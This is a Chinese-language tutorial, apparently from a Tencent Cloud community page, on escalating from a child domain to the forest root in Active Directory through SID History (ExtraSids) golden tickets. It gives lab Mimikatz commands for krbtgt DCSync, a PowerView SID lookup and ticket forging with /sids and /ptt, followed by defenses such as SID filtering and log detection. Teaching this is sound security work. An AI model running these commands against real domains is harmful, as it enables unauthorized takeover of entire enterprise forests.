在企业级 Active Directory 环境中，"林（Forest）"往往由一个根域和若干子域构成，出于职责隔离与运维成本的考虑，企业通常认为 "拿下子域 ≠ 拿下父域/整个林"，父域管理员被视为最后一道防线。然而，SID History 这一原本为 **合法域迁移** 设计的属性，却在实战中成为攻击者进行 **跨域提权** 最经典、也最隐蔽的手段之一——它允许我们在伪造的黄金票据中"额外附加"一个高权限组的 SID，从而在 Kerberos 层面上直接"越权"访问父域资源。

那么，SID History 究竟是如何被滥用的？为什么仅凭一个子域的 krbtgt 哈希，就能撬动整片林的权限边界？在实际渗透中，从子域 Domain Admin 到父域 Enterprise Admin，究竟需要哪几步、每一步的原理和产物又是什么？防守方又该在哪些环节上部署缓解措施？本篇将围绕 SID History 攻击（也称 **ExtraSids Hopping**）展开系统讲解：先剖析 SID History 在 PAC 中的工作机制，再以 `dm.org`​ 与 `child.dm.org` 的父子域实验环境为例，完整演示从信息枚举、krbtgt 哈希提取、Enterprise Admins SID 获取，到黄金票据构造与 PTT 注入的全过程，最后给出可落地的检测与防御方案，帮助读者形成攻防双向的完整认知。

# 1. SID History 机制与攻击原理

## 1.1 什么是 SID History

SID History 是 Active Directory 中为 **域迁移** 场景设计的一个用户/组账户属性。每一个安全主体（用户、组、计算机）都拥有一个 **SID（Security Identifier，安全标识符）**  ，用于在访问控制列表（ACL）中唯一标识身份。SID History 在 Kerberos 票据的 PAC（Privilege Attribute Certificate）结构中对应 `ExtraSids` 字段，用于在鉴权时"额外携带"一批 SID。

当一个用户从旧域迁移到新域后，旧域中的用户 SID 以及所属组的 SID 会被写入新账户的 `SIDHistory`​ 属性。之后当该用户访问资源时，域控在做 ACL 匹配时，不仅比对新账户的主 SID，还会比对 `SIDHistory`​ 中的所有 SID——**任意一条匹配成功即可授予相应权限** 。因此，SID History 相当于给账户额外附加了一批"影子组成员身份"，令权限范围得到实质性扩张。

## 1.2 攻击思路：ExtraSids Hopping

在构建 **黄金票据（Golden Ticket）**  时，Mimikatz 的 `kerberos::golden`​ 支持通过 `/sids` 参数向 PAC 的 ExtraSids 中写入任意 SID。这意味着：

> 只要攻击者在林内 **任意一个域** 获得了该域 krbtgt 账户的 NTLM 哈希，就可以伪造一张黄金票据，并在其中"夹带"父域或其他域中高权限组（如 Enterprise Admins）的 SID，从而在整个林范围内实现权限提升。

这种利用 SID History / ExtraSids 完成跨域权限跃迁的手法，业界称为 **ExtraSids Hopping** 。其典型场景为：**已控子域 Domain Admin → 提取子域 krbtgt 哈希 → 伪造票据附加父域 Enterprise Admins SID → 拿下父域 DC** 。

# 2. 实验环境与利用前置条件

## 2.1 实验拓扑

本次演练所使用的父子域环境如下：

|角色|域名|说明|
| ----------------| ------| --------------------------------|
|林根域（父域）|`dm.org`|目标域，拥有 Enterprise Admins|
|子域|`child.dm.org`|已获得 Domain Admin 权限的起点|

<div style="text-align:center;">表1-1 实验环境拓扑</div>

## 2.2 攻击所需信息

在构造跨域黄金票据之前，需要收集以下 5 项关键信息：

1. 子域的 FQDN 名称（`child.dm.org`）；
2. 子域的 SID 值；
3. 子域 `krbtgt` 账户的 NTLM 哈希；
4. 要伪造的用户名（一般直接使用 `administrator`）；
5. 根域 Enterprise Admins 组的 SID。

# 3. 攻击实战步骤

## 3.1 枚举父子域信息

首先通过 Windows 自带命令枚举林结构、父子域 SID 及信任关系。在子域主机上执行如下命令：

```powershell
nltest /domain_trusts /all_trusts
whoami /user
```

执行结果如图1-1所示，可以看到 `dm.org`​ 是林根域，父域 SID 为 `S-1-5-21-3564186580-1562464234-3077864034`​，与 `child.dm.org`​ 存在双向父子信任；当前所在的 `child.dm.org`​ 为子域，其 SID 为 `S-1-5-21-859548993-1847903045-3613452511`。

:::center  
​![](https://developer.qcloudimg.com/http-save/yehe-1277458/5e82417e0d4b05059ca166737e2297c7.jpg)

## 3.2 提取子域 krbtgt 的 NTLM 哈希

以本地 SYSTEM/域管理员身份运行 Mimikatz，通过如下命令导出子域 `krbtgt` 账户的 NTLM 哈希：

```plaintext
privilege::debug
lsadump::dcsync /domain:child.dm.org /user:krbtgt
```

若已在子域 DC 上运行 Mimikatz，也可直接使用：

```plaintext
privilege::debug
lsadump::lsa /patch
```

执行结果如图1-2所示，本例得到子域 krbtgt 的 NTLM 哈希：

```plaintext
e134564bcb4a60e28c6999d3ec2652c1
```

:::center  
​![](https://developer.qcloudimg.com/http-save/yehe-1277458/b4e1f7f433d7e5c20d81418f04de0cae.jpg)

## 3.3 获取父域 Enterprise Admins 的 SID

使用 PowerView 将 `dm\enterprise admins` 组名转换为 SID：

```powershell
Import-Module .\PowerView.ps1
Convert-NameToSid "dm\enterprise admins"
```

执行结果如图1-3所示，可得到 Enterprise Admins 组的完整 SID：`S-1-5-21-3564186580-1562464234-3077864034-519`。

:::center  
​![](https://developer.qcloudimg.com/http-save/yehe-1277458/a0e2216b1779b41d3df0ba7dc826ed2e.jpg)

> **提示** ：Enterprise Admins 组的 RID 固定为 `519`​。因此，如果已经通过其他方式（例如 3.2 步骤的 DCSync 输出）拿到了父域 krbtgt 账户的 SID，只需将其结尾的 RID `502`​ 替换为 `519`，即可拼出 Enterprise Admins 组的 SID，而无需额外调用 PowerView。

## 3.4 验证当前权限（注入票据前）

在导入伪造的黄金票据之前，先验证当前身份是否具备访问父域 DC（`dc01.dm.org`）C 盘共享的权限，用作对照。执行如下命令：

```cmd
dir \\dc01.dm.org\c$
```

如图1-4所示，此时访问会被拒绝，说明当前身份并没有父域权限。

:::center  
​![](https://developer.qcloudimg.com/http-save/yehe-1277458/4005ac138911fc7388d4c09df024e46f.jpg)

## 3.5 伪造黄金票据并注入内存

使用 Mimikatz 的 `kerberos::golden`​ 模块伪造一张携带父域 Enterprise Admins SID 的黄金票据，并通过 `/ptt` 直接注入当前会话：

```plaintext
kerberos::golden /user:administrator /domain:child.dm.org /sid:S-1-5-21-859548993-1847903045-3613452511 /krbtgt:e134564bcb4a60e28c6999d3ec2652c1 /sids:S-1-5-21-3564186580-1562464234-3077864034-519 /ptt
```

其中各参数含义如下：

|参数|含义|
| ------| ----------------------------------------------------------------------------|
|`/user`|要模拟的用户名，本例为 `administrator`|
|`/domain`|当前所在域的 FQDN，本例为 `child.dm.org`|
|`/sid`|当前子域的 SID|
|`/krbtgt`|子域 `krbtgt` 账户的 NTLM 哈希|
|`/sids`|需要额外附加到 PAC ExtraSids 中的 SID，本例为父域 Enterprise Admins 组 SID|
|`/ptt`|Pass-The-Ticket，将生成的票据直接注入当前会话内存|

<div style="text-align:center;">表1-2 kerberos::golden 关键参数说明</div>

执行成功后如图1-5所示，票据已注入内存；此时再次执行 `dir \\dc01.dm.org\c$`，即可成功访问父域 DC，标志着跨域权限提升完成。

:::center  
​![](https://developer.qcloudimg.com/http-save/yehe-1277458/b0dd8e6cce5cc35557f543c6732c6305.jpg)

# 4. 防御与检测建议

## 4.1 合法迁移完成后清理 SID History

对于因历史域迁移而遗留的 `SIDHistory` 属性，应及时清理，避免被攻击者作为跨域跳板。先通过如下命令查看某账户当前的 SID History：

```powershell
Get-ADUser -Identity <用户名> -Properties SidHistory | Select-Object -ExpandProperty SIDHistory
```

再执行以下命令移除指定的 SID History 记录：

```powershell
Set-ADUser -Identity <用户名> -Remove @{SIDHistory='S-1-5-21-3564186580-1562464234-3077864034-519'}
```

## 4.2 在信任边界上禁用 SID History

在域控制器上使用 `netdom` 关闭跨信任传递 SID History，切断"跨域夹带 SID"的通道：

```cmd
netdom trust <TrustingDomain> /domain:<TrustedDomain> /EnableSIDHistory:no
```

## 4.3 启用 SID 过滤（Quarantine）隔离

对外部信任及不完全可信的父子域信任，启用 SID 过滤（也称 Quarantine），域控在鉴权时会过滤掉 ExtraSids 中不属于对端域的 SID，从根本上阻断 ExtraSids Hopping：

```cmd
netdom trust <TrustingDomain> /domain:<TrustedDomain> /quarantine:yes
```

## 4.4 检测思路

除了上述配置层缓解外，还建议从日志侧加强检测：

1. 监控域控上 Event ID `4769`​（Kerberos 服务票据请求）与 `4624`（登录），关注短时间内跨域访问的 administrator 账户；
2. 监控 `krbtgt` 账户密码/哈希的异常变更与访问；
3. 定期使用 `Get-ADUser -Filter * -Properties SIDHistory` 审计全域账户 SID History 属性，任何非迁移窗口内出现的新值都应视为高危事件；
4. 严格限制子域 Domain Admin 数量与登录范围，并将 `krbtgt`​ 密码定期（建议每 180 天）滚动 **两次** ，使旧哈希失效。

# 5. 小结

SID History 攻击的本质，是利用 Kerberos PAC 中 `ExtraSids`​ 字段的可信任性缺陷，让子域内的高权限身份在票据层面"越过"域边界。它对攻击者的门槛并不高——只需要一份子域 `krbtgt`​ 哈希与父域高权限组的 SID；对防守方而言，也没有任何"零成本"的补丁式修复，只能通过 **信任配置（SID Filter/Quarantine）+ 属性清理 + krbtgt 定期轮换 + 日志检测** 的组合拳来降低风险。理解了这一攻击，也就理解了为什么在现代 AD 安全模型中，"林（Forest）"而非"域（Domain）"才是真正的安全边界。


在企业级 Active Directory 环境中，"林（Forest）"往往由一个根域和若干子域构成，出于职责隔离与运维成本的考虑，企业通常认为 "拿下子域 ≠ 拿下父域/整个林"，父域管理员被视为最后一道防线。然而，SID History 这一原本为 合法域迁移 设计的属性，却在实战中成为攻击者进行 跨域提权 最经典、也最隐蔽的手段之一——它允许我们在伪造的黄金票据中"额外附加"一个高权限组的

AD域攻防权威指南.七十八. 利用SID History完成从子域到父域的权限提升

技术经理

安全

操作系统

网络与通信

揭秘Active Directory中SID History攻击手法：通过子域krbtgt哈希伪造黄金票据，利用ExtraSids字段实现跨域提权。文章详细解析攻击原理，从信息收集到票据构造的全过程，并给出禁用SID History、启用SID过滤等防御方案，帮助企业加固域安全边界。

访问控制列表

Windows

2026上云采购 | AI焕新·智启新局

cadc

热销域名限时优惠，新客首年免费！


domain

文章

问答

视频

教程

学习中心

腾讯云实验室

直播

竞赛

腾讯云代码分析专区

腾讯iOA零信任安全管理系统专区

腾讯云架构师技术同盟交流圈

腾讯云数据库专区

腾讯云智能顾问专区

腾讯云原生专区

腾讯混元专区

腾讯云TCE专区

腾讯云Lighthouse专区

腾讯云HAI专区

腾讯云Edgeone专区

腾讯云存储专区

腾讯云智能专区

腾讯轻联专区 

腾讯云开发专区

TAPD专区

腾讯轻量云游戏服专区

EdgeOne AI 安全实战专区

腾讯云最具价值专家

腾讯云架构师技术同盟

腾讯云创作之星

腾讯云开发者先锋

腾讯云代码助手

云原生构建

TAPD 敏捷项目管理

Cloud Studio

SDK中心

API中心

命令行工具

涵盖代码开发、场景应用、自动测试全流程，助你从零构建专属AI助手

一站式MCP教程库，解锁AI应用新玩法

聚焦“写作效率、视觉美观与运行性能”三方面进行全面升级，为您提供更高效、稳定的创作环境

社区富文本&Markdown编辑器全新改版上线，欢迎大家体验!

诚挚邀请您参与本次调研，分享您的真实使用感受与建议。您的反馈至关重要，感谢您的支持与参与！

社区新版编辑器体验调研

AD域攻防权威指南.七十八. 利用SID History完成从子域到父域的权限提升-腾讯云开发者社区-腾讯云

AD域攻防权威指南.七十八. 利用SID History完成从子域到父域的权限提升

AD域攻防权威指南.七十八. 利用SID History完成从子域到父域的权限提升

社区

活动

圈层

关于

腾讯云开发者

热门产品

热门推荐

更多推荐